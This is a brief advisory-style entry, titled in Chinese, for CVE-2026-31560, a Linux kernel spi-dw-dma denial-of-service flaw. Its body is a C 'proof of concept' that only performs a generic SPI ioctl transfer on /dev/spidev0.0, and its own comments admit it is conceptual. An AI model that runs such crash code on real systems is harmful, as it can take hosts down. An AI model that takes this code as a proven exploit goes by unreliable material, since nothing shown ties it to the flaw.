CVE-2026-31560 Linux内核spi-dw-dma驱动拒绝服务漏洞

/* * PoC for CVE-2026-31560: Linux Kernel spi-dw-dma Crash * This is a conceptual PoC to trigger the error path. * Compile: gcc -o poc_spi poc_spi.c */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/spi/spidev.h> int main() { int fd; const char *device = "/dev/spidev0.0"; // Open the SPI device fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open SPI device"); return 1; } // Setup a transfer that might induce the error condition // Specific hardware manipulation is required to trigger the exact path struct spi_ioc_transfer xfer; memset(&xfer, 0, sizeof(xfer)); // Set arbitrary length and speed xfer.len = 1024; xfer.speed_hz = 1000000; xfer.bits_per_word = 8; // Attempt the transfer // On vulnerable systems with specific hardware states, // this may trigger the wait_finish_trans error path. int ret = ioctl(fd, SPI_IOC_MESSAGE(1), &xfer); if (ret < 0) { perror("SPI ioctl failed"); } close(fd); printf("PoC executed. Check kernel logs for crash.\n"); return 0; }